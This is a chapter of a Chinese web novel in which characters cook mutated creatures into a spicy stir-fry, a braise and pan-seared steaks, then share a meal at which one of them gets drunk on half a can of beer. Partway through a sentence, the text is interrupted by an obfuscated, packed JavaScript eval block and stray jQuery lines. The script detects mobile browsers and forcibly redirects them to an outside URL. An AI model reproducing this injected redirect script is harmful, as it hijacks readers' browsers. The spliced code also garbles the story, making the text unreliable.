路时余在大锅内倒入大量油，油热后下入处理好的畸变生物。


    用锅铲轻轻搅动锅内的畸变生物防止炸糊，等到畸变生物的外壳变成更深的绿色后捞出。


    大葱斜切成段，生姜切片，大蒜用菜刀刀身拍扁后再切成末。


    将刚才用来炸畸变生物的油再次倒入锅中加热，油热后放入切好的佐料炒香，再放入一把麻椒。


    路时余从袋子里拿出陈云良刚才去买的材料，在锅内放入豆瓣酱、牛油火锅底料、生抽、糖和鸡精，路时余担心味道不够还多放了两大勺辣椒进去翻炒。


    等到底料差不多炒好了，路时余便把炸好的畸变生物一股脑倒进去，因为数量太多铁锅差点装不下。


    路时余费力地用锅铲翻动铁锅内数量巨多的畸变生物，只可惜锅铲在这一大锅面前都显得弱小无助，翻拌变得异常艰难，路时余开始考虑要不要先盛出一部分，分成两锅炒。


    唐择玉从后方接过锅铲，打断了还在思考的路时余。


    “接下来就交给我吧，你去做别的菜。”


    “行。”


    路时余想也没想，给唐择玉递了个围裙便去另一边另起炉灶。


    路时余从水里捞出以及完全化冻的肉，观察了下发现里面的肉很多都带着骨头，只有小部分是一大片的肉排，而且体积也比较大，适合小火慢炖入味的做法。


    路时余将肉排单独拿出来，剩下的带骨头的肉块冷水下锅，放入料酒、生姜、葱后煮开，水开后撇去浮沫，再煮三分钟捞出，将焯水好的肉块放入高压锅中，再放入切好的姜片、八角以及干辣椒，最后是用于调味的盐、老抽、生抽、蚝油、胡椒粉、豆腐乳，打开一罐啤酒倒入高压锅，剩下的几瓶啤酒放入冰块中冰镇。


    将肉块和各种调料混合均匀后扣上高压锅锅盖，放在燃气灶上开火慢炖，等高压锅上气后转中火继续炖十五分钟。


    路时余一遍等着高压锅上气，一遍开始准备处理提前拿出来的肉排。


    路时余先是用餐巾纸覆盖在肉排表面轻轻按压吸走多余水分和血水，在肉排的两面撒上盐、黑胡椒和食用油，腌制十分钟。


    接着拿出一口平底铁锅，放在炉子上加热，当水珠撒在上面会立即气化就说明温度足够了，这时就能将腌好的肉排放在平底锅内。


    因为肉排的油脂丰富，所以不需要额外放油，可以直接干煎，等到一面被煎出焦黄的外壳再翻面，继续煎另一面，等到两面都煎出焦褐色后放入黄油、迷迭香和拍过的大蒜，燃气灶转到小火慢煎，将已经融化的黄油用锅铲舀起淋在肉排上。


    肉排出过后用锡纸包裹，刚在一旁让肉排自己醒一会。


    另一边的唐择玉在翻炒一会畸变生物后，按照路时余的嘱咐倒入几罐啤酒，刚刚好淹没畸变生物即可，接着放入两勺香料，搅拌均匀后盖上锅盖焖煮。


    焖煮过程中，香味伴随着挥发的酒精飘出，香得人条件反射流口水。


    许曼文咽下口水，惊奇地说：“畸变生物做菜这么香吗？”


    张贺知也是头一回吃，不确定地说：“可能这就是，长得越怪味道越赞？”


    待到所有菜都熟透后，燕红三人已经自觉摆好了碗筷，等着路时余装盘上菜，看得一直没干什么活的许曼文张贺知有些心虚。


    许曼文看向张张贺知说：“原本还说是请别人吃饭呢，结果是人家做饭。”


    张贺知哎呀一声，说：“算了吧，要是我们做可就没这么香了。”


    许曼文想了想，觉得张贺知说得也在理，他们两人虽然都会做饭，但味道也只能算一般。


    幸好张贺知准备充足，等路时余和唐择玉装盘好后，足足占了四个陶瓷汤碗——虽然名字叫碗，但实际上就是盆，菜品占满桌子。


    肉排数量刚好一人一块，装在简约的白色陶瓷浅盘里，装饰上一根迷迭香，看上去倒真像西餐厅里的昂贵牛排。


    张贺知将冰块里的啤酒罐捞出，问：“在场的没有未成年吧？”


    燕红察觉到投来的视线，反驳道：“看我干嘛，我早成年了！”


    “都能喝酒就行，”张贺知给每人分下去一罐啤酒，说：“正好大家能喝点。”


    燕红接过啤酒后放在一旁，着急去吃餐盘里的肉排。


    燕红小心地剥开外层的锡纸，结果还是被烫到，不死心用刀叉尝试，结果就是肉排在盘子里打转，最后是路时余看不下去上手帮她把锡纸剥开，还将锡纸里残留的汤汁淋在肉排上，不忘了在肉排上撒点胡椒粉。


    闻着扑鼻而来的香味，燕红终于按捺不住，拿起餐刀切下一块就塞进嘴里。


    当肉排表面的那层完美脆壳被咬破后，舌尖感受到的不是焦苦，而是一种复杂且略带烟熏感的咸鲜风味，好似坚果一样的烘烤香气萦绕在舌尖。


    咬开脆壳后内部的灼热汤汁瞬间喷涌而出，鲜美浓郁的肉质是肉排的精华所在，强烈的鲜味以及肉味的底蕴满足了最纯粹的原始快乐。


    当肉汁充盈口腔后，还能感受到肉排那扎实又带有野性风味的口感，带着一丝独特的肉感风味，肉排边缘的脂肪部分也被煎得焦香四溢，带来额外的风味和丰腴的口感，肉排上分布的脂肪花纹早已在煎至过程中融化，渗透进肌肉纤维里，极大提升了肉排的口感和复杂性，带来顺滑口感的同时还中和了瘦肉的干柴。


    肉排上最后撒下的那一点盐和黑胡椒更是点睛之笔，食盐不会掩盖肉排本身的香味，反而会激发出肉排的鲜甜，盐粒在肉排的表面融化，入口的瞬间带来咸鲜的味觉爆炸。


    黑胡椒则散发出温柔又略带侵略性的辛辣，为肉排提供了一种刺激性的味道，增添了风味的层次，迷迭香和黄油则是将各种不同的味道进行调和，最终展现出和谐又复杂的味觉盛宴。


    燕红被嘴里过烫的肉排烫得嘴里冒热气，也不舍得吐出来，路时余从陈云良买来的东西里拿出一罐汽水递给燕红，燕红这才咕嘟咕嘟大口喝起来。


    陈云良看着深绿色的畸变生物，仔细观察了一会后，将畸变生物头部掐掉，接着从腹部开始，像拆撕拉纸盒一样将畸变生物的腹部连带足部一起撕下来，接着就可以直接把畸变生物外壳之下的粉色嫩肉完美取出，和一旁剥得满手脏的绍兴阳对比简直像原始人和现代人的区别。


    嫩肉带着一点底料的汤汁，一入口就能感受到麻辣的冲击，一股


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16012190|168672||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    极具扩散性的酥麻感传遍口腔，带着类似于轻微电流经过的快感，同时辣味灼烧着舌尖，快速点燃味蕾带来刺激的快感。


    透过麻辣的调味味道后，是新鲜的鲜甜味，畸变生物的肉质紧实弹牙，自带着一点微甜。


    许曼文加了一块炖肉，不管从哪个角度看都看不出这是一块出自畸变生物身上的肉，不由感叹神奇。


    一入口就能感受到浓郁的肉香和强烈的鲜味冲击着味蕾，温暖的香料气息与酒香交织在一起，带来复杂的层次感，浓郁的汤汁包裹在肉块上，带着点微黏的胶质感。


    被炖得软烂的肉块在口中轻易地被抿开，骨头丝滑地脱离肉块，恰到好处的咸味托起所有风味，微微的辣味巧妙地平衡了厚重感，让整体的风味明亮清晰，不至于吃完后感觉过咸或油腻。


    所有味道交融在一起带来极其满足的体验，回味悠长。


    许曼文第一次吃畸变生物，本来都做好了吃到奇怪东西的准备，结果却出乎她的意外。


    不但没有怪怪的味道，还十分的好吃，简直像是在餐馆里点的菜一样！


    另一边的张贺知也对味道十分满意，一口接一口根本停不下来。


    路时余在连续吃了好几只畸变生物后喝了一大口啤酒，发出满足的“嘶哈～”声，长时间没喝过酒的她今天算是破戒了。


    许曼文将骨头吐在骨碟里，问路时余：“你是怎么做得这么好吃的，完全吃不出是畸变生物啊。”


    张贺知也说：“就算是给专业的美食家吃，估计也吃不出什么问题吧，简直像会什么魔法一样，居然能把畸变生物做得这么香，搞得我都想去学厨了。”


    许曼文：“去去去，别老想着祸害别的职业了。”


    路时余本来就因为喝了点酒有点上头，又被两个人围着夸，一时间脑子都有点晕晕乎乎，仿佛整个人都飘在了云上。


    “嘿嘿，哪有那么厉害啊……”路时余红着脸乐呵呵道：“其实做饭也不难的，多学多做就好了……嗝……”


    原本正在夹菜的唐择玉感觉到不对，侧头去看，就发现路时余已经有点神智不清了。


    唐择玉冰凉的手贴在路时余脸上，问：“喝多了？”


    路时余被冰了个哆嗦，赶忙反驳：“没有！”


    桌对面闷头吃饭的绍兴阳闻言一愣，抬头看去说：“不会吧，她才喝了一罐啊。”


    陈云良手上剥着肉，问：“啤的也能喝醉？”


    唐择玉伸过手拿起路时余的罐子摇了摇，连一罐都没喝完，只喝了半罐。


    看着已经上脸了的路时余，唐择玉内心叹道不妙，路时余居然是个半杯倒。


    唐择玉叹息一声：“不能喝就不要喝酒了，不是买了果汁吗。”


    路时余依旧嘴硬：“我能喝！”


    唐择玉：“……”


    没想到喝醉后的路时余居然还是个倔脾气。


    不过转念一想，总比喝醉了耍酒疯的强多了。


    路时余趁着唐择玉分神，夺过罐子又喝了两口，晃晃悠悠地说：“看吧！我能……”


    一句话都没说完，路时余就眼睛一闭，倒在唐择玉身上彻底昏睡过去。